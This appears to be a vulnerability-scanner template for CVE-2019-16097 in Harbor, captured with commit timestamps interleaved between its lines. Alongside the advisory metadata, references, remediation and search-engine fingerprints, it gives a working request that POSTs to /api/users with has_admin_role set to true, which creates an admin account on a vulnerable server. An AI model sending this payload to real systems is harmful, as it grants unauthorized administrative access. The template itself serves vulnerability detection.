2021-02-19 06:08:32 +00:00
id : CVE-2019-16097
2022-04-21 21:16:41 +00:00
2021-02-19 06:08:32 +00:00
info :
2022-04-21 21:16:41 +00:00
name : Harbor <=1.82.0 - Privilege Escalation
2021-02-19 06:08:32 +00:00
author : pikpikcu
2021-09-10 11:26:40 +00:00
severity : medium
2022-05-17 09:18:12 +00:00
description : Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to escalate their privileges and gain unauthorized access to sensitive information.
2023-09-06 12:53:28 +00:00
remediation : Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
2021-08-19 13:17:27 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
2022-04-21 21:16:41 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2019-16097
2022-05-17 09:18:12 +00:00
- https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
2023-07-11 19:49:27 +00:00
- http://www.vmware.com/security/advisories/VMSA-2019-0015.html
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2019-16097
cwe-id : CWE-862
2024-03-23 09:28:19 +00:00
epss-score : 0.96492
2024-04-08 11:34:33 +00:00
epss-percentile : 0.99563
2023-09-06 12:53:28 +00:00
cpe : cpe:2.3:a:linuxfoundation:harbor:1.7.0:-:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : linuxfoundation
product : harbor
2024-05-31 19:23:20 +00:00
shodan-query : http.favicon.hash:657337228
fofa-query : icon_hash=657337228
2023-12-05 09:50:33 +00:00
tags : cve,cve2019,intrusive,harbor,linuxfoundation
2021-02-19 06:08:32 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-19 06:08:32 +00:00
- method : POST
path :
- '{{BaseURL}}/api/users'
2023-07-11 19:49:27 +00:00
2021-02-19 06:08:32 +00:00
body : |
2022-06-06 10:40:15 +00:00
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc" }
2021-02-19 06:08:32 +00:00
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/json
2021-02-19 06:08:32 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : response
2021-02-19 06:08:32 +00:00
words :
- "username has already been used"
2021-02-19 06:53:34 +00:00
- "Location: /api/users/"
condition : or
2021-02-19 06:08:32 +00:00
- type : status
status :
- 201
- 409
2021-03-30 06:49:14 +00:00
condition : or
2024-03-25 11:57:16 +00:00
# digest: 4b0a00483046022100918f5cd75dc4ca87573ef7bda7b98585ca4b22397253f2259df83d4d89086569022100fe7217e13fc2ec1c9cf8e4cf1e9dcf8c2162197bb6c0768b3aa91cbbb3e87234:922c64590222798bb761d5b6d8e72950